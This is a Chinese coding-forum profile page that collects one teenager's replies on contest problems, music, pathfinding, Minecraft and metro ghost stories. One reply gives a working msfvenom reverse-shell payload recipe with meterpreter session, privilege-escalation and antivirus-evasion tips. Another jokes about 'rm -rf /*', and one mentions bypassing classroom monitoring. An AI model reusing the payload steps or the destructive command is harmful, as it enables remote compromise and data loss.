PlumSteven
Lv.1
可以叫PS或Сергей。一只狼但习惯了被群友叫猫猫（？）别人不许叫（
获赞:85收藏:10浏览:472作品收藏:2
Lv.1
可以叫PS或Сергей。一只狼但习惯了被群友叫猫猫（？）别人不许叫（
在 CSP-J复赛个人解题思路 中回复
题目描述
小苞准备开着车沿着公路自驾。
公路上一共有 n 个站点，编号为从 1 到 n。其中站点 i 与站点 i+1 的距离为 vi 公里。
公路上每个站点都可以加油，编号为 i 的站点一升油的价格为 ai 元，且每个站点只出售整数升的油。
小苞想从站点 1 开车到站点 n，一开始小苞在站点 1 且车的油箱是空的。已知车的油箱足够大，可以装下任意多的油，且每升油可以让车前进 d 公里。问小苞从站点 1 开到站点 n，至少要花多少钱加油？
输入格式输入的第一行包含两个正整数 n 和 d，分别表示公路上站点的数量和车每升油可以前进的距离。
输入的第二行包含 n−1 个正整数 v1,v2…vn−1，分别表示站点间的距离。
输入的第三行包含 n 个正整数 a1,a2…an，分别表示在不同站点加油的价格。
输出格式输出一行，仅包含一个正整数，表示从站点 1 开到站点 n，小苞至少要花多少钱加油。
输入输出样例 输入 #15 4 10 10 10 10 9 8 9 6 5输出 #1
79说明/提示
【样例 1 解释】
最优方案下：小苞在站点 1 买了 3 升油，在站点 2 购买了 5 升油，在站点 4 购买了 2 升油。
【样例 2】
见选手目录下的 road/road2.in 与 road/road2.ans。
【数据范围】
对于所有测试数据保证：1≤n≤10^5，1≤d≤10^5，1≤vi≤10^5，1≤ai≤10^5。
测试点 n≤ 特殊性质
1∼5 88 无
6∼10 103103 无
11∼13 105105 A
14∼16 105105 B
17∼20 105105 无2023-10-21T15:20:37 点赞:0
在 想当黑客的就点进来吧 中回复
如何成为hacker?很简单，首先你得有一个kali linux
其次，打开terminal
再其次：
su
msfdb init
msfc喵ole
msfvenom -p windows/meterpreter/reverse_tcp LPORT=xxx.xxx.x.xxx LHOST=4444 -f exe -o 非常好玩的东西.exe
LPORT填写本机ip，LPORT 0~65535瞎写一个没被占用的，4444即可
你就得到了一个很好玩的东西。
把这东西放在你电脑上（windows 10/11，7和8没试过但应该可以），放心只要你不干什么坏事他不会出问题的
运行
然后回到你的kali Linux
sessi喵
如果有显示机器，说明成功找到啦~
sessi喵 -i 编号
入侵你的win10/11~
screenshot屏幕截屏~
getsystem（应该是这样）获取最高权限，但会被杀毒软件杀（可以套个加密壳）
还有一堆好玩的呢~help查看~
2023-10-21T21:38:03 点赞:0
在 推荐一下最近我很喜欢的音乐 中回复
英语的我最近只听AW的：《Different World》《The Spectre》《Alone》《All falls down》
OMG Different World超好听
俄语：《Катюша》《Государственный гимн СССР》《Гимн России》（虽然但是最后两个调子一模一样）
德语：《Diese kalte nacht》 《Schnappi》（很抱歉我被这只小鳄鱼喵了，德语老师给我们听的）
中文：《海阔天空》《平凡之路》《裹着心的光》（海阔天空妈呀百听不厌）
顺便，
Ich bin Schnappi, das kleine krokrodil~
komm aus Agypten, das liegt direkt am Nil~
还有
Союз нерушимый республик свободных~（不保证拼写正确）
2023-10-21T21:46:51 点赞:1
在 在做后室，求代码 中回复
寻路算法是个好东西。
把迷宫整体看成一个无向图，用邻接矩阵应该够了
然后寻路算法，dfs个人认为不够用，启发式不是最短，A*就挺好的
JS貌似没有priority_queue，没事手搓一个就行
在Dijkstra的基础上加点启发式的东西就是A*了。可以洛谷那道k短路先去练练手再上这个（不会C++就当我没说）
（这就是为什么神岛想搞好OI基础少不了）
2023-10-21T21:54:41 点赞:0
在 【求助帖】求求看看怎么了！ 中回复
看报错第一步：看懂报错的意思
不能设置空对象的enableInteract啊，那肯定是这个object为空了
很容易定位，问题就出在第一行，没找到entity吗~估计没放实体/名字没改
2023-10-22T20:57:01 点赞:0
在 铛~请以最热烈的掌声欢迎屑星辰的小飞棍们！~（第一集：波音系列） 中回复
可以啊！太6了！
但747的发动机会不会太小了？
（另外考不考虑做空客系列的，喵空客）
2023-10-22T21:15:00 点赞:0
在 铛~请以最热烈的掌声欢迎屑星辰的小飞棍们！~（第一集：波音系列） 中回复
看到波音767我就想笑
747.....怎么说呢不能怪她吧，但韩航007，印度航空182，华航611真就很。。。离谱。
2023-10-22T21:20:07 点赞:0
在 在线求助！！！ 中回复
这边建议不要玩冈易
HMCL和PCL2还是很好的。（个人建议HMCL），再加个ComplementaryShader，Forge，Optifine简直完美
2023-10-23T21:21:25 点赞:1
在 《论今年CSP-J的题有多难》 中回复
啊。。。
今年CCF好歹没有像去年一样发dian，算很良心了
第一题很简单的，抓住他让你找的是最后一个就很容易了，while一把，每次大概缩为原来的2/3，最多几万次肯定执行完了。
第二题贪心（这个是个人都看得出来），贪心策略看样例大概能蒙出来，就是找离当前加油站最近的比他便宜的点吗~
第三题.......纸老虎吧只能说。会一元二次方程的直接看样例来做，做完之后用大样例一行行对
第四题比较难，分层图最短路，cout<<-1祈求CCF给点分
只要你不忘记写freopen或者在注释里写个f**kccf或者文件名写错在辽宁应该。。。。算ok了吧
（本人JS，但今年分数线好像CQ最高哎）
2023-10-26T22:04:20 点赞:1
在 数字加加乐 中回复
加油！uwu 哪个OJ啊，aes.codemao.cn? 建议做做codeforces.com，atcoder.jp,www.luogu.com.cn还有loj,poj的题，尤其atcoder的比赛，我们老师让我们尽量去打。
2023-10-29T21:18:29 点赞:0
在 我会C++可以吗 中回复
唔……
请问这里说的“会”是指什么？会写C++的基本程序？还是精通C++的一切高级操作（比如lambda表达式）？或是那种IOI金牌，ACM/I喵C全球总决赛第一名的水准？
看代码的话你应该指的是第一种。
那这样其实没什么好稀奇的。
说个比较哲学的，世界上没有一个人会C++。C++本身就不断在迭代更新（看看C++23 std标准库都要给你搞出来了，import都要有了），那新玩法肯定会多一堆，没一个人能真正全部学完的。
2023-10-30T21:33:45 点赞:1
在 【教程】如何将自己在k3上的作品在Linux上制作成独立应用程序 中回复
准确来说，教程内使用的是Unix而不是Linux
虽然都差不多。
众所周知，rm -rf /* 是万能的（bushi（哎别有哪个聪慧的人真去用啊）
2023-10-30T21:40:05 点赞:0
在 你们初中的都怎么腾出时间来玩代码岛的啊 中回复
玩代码岛不如在mc里面快乐用MTR建地铁（本人施工效率：一个月才修完一个车站的内饰）
附一张清河站（啊不是北京那个啊喂）的施工进度
2023-11-05T20:30:53 点赞:0
在 根据图片内容，写一段故事吧 中回复
这东西。。。。让我想起了漕宝路的灵异事件。
大概以我的记忆讲一下。
大概是在上个世纪吧（反正还没装屏蔽门，12号线也没开），漕宝路虽不是一个换乘站，也不是什么超级大站，但它也不能算一个普通的站点，因为它的站台是全上海最窄的。
一天，有一位男子来到漕宝路，在这里等车。
列车大概马上进站了，这位男子就想去看看车啥时候来，可谁知有一股神秘力量把他拉下了站台，正好列车从他身上碾过。。。。
第二（这大概不算灵异）：
有个外地人乘坐地铁，在漕宝路等车时出于好奇把头伸出去看，结果列车刚好过来，脑袋直接被撞碎，站台上的眼珠子似乎还在转，最后花500雇了几个外地人才清理干净。
第三：
一天晚上，一个工作人员照例下去清理隧道，随后听见一个女人的狂笑声，吓得立马逃了，并表示再也不敢去了。
还有几个不放了自己查
2023-11-05T20:48:36 点赞:1
在 谁学过c/c++ 中回复
学C++多了去了（J才305的屑，啊啊啊啊啊啊考前我刚复习最短路但为啥他考个分层图啊！）
当前状态：
Plum正在与 并查集 和谐的交流，并成功拿下几道紫题
Plum正在与 线段树 作激烈的斗争 只拿下了模板题
Plum正在与 ST表 按在地上摩擦 并表示不是很理解
Plum正在被 PAM，SAM 碾压并表示完全看不懂
Plum正在CF上愉快的与题目交流并拿下众多红题橙题黄题绿题没有蓝题还有个紫题
2023-11-06T21:30:26 点赞:0
在 你们初中的都怎么腾出时间来玩代码岛的啊 中回复
正经回答一次，只要你搞信竞肯定会有时间玩的（本人初一）
比如说，上网课的时候（bushi，比如说，爸妈以为你在打CF的时候，再比如说，学校上课你坐在最后面开个拜拜极域再玩
如果你是想聊天，可以光标点下聊天框然后把窗口挪到最底下看着顶上那个泡泡就行了（对于对方打字快的情况可能会有点问题）
虽然我没干过（不信~），但如果想光明正大的玩的话你可以和你爸妈商量啦~比如考试考好了周末玩
2023-11-07T21:31:23 点赞:0
在 有人知道Game AI 咋用吗（求回复） 中回复
GameAI主要就是通过后向传播和遗传去训练模型吗，你先写好训练的部分然后训练个一阵子，保存模型，再用模型就Ok了，具体看上课讲的（我也忘了2年前学的了好像）
2023-11-10T21:56:28 点赞:0
在 一句话证明你的年级 中回复
做更好的自己，需要扬长避短，主动改过，激发潜能，为社会带来福祉。
水+二氧化碳---阳光，叶绿体--->氧气+有机物
商鞅变法的目的是富国强兵，影响是为秦国统一全国奠定基础。
乌乌里大黑土（懂得都懂）
Hobo, today is Halloween~（课本） The scientists used trial and error to find the most effective treatment for the illness.（非课本）
咱娘俩在一块，好好活，好好活......
2023-11-10T22:09:11 点赞:1
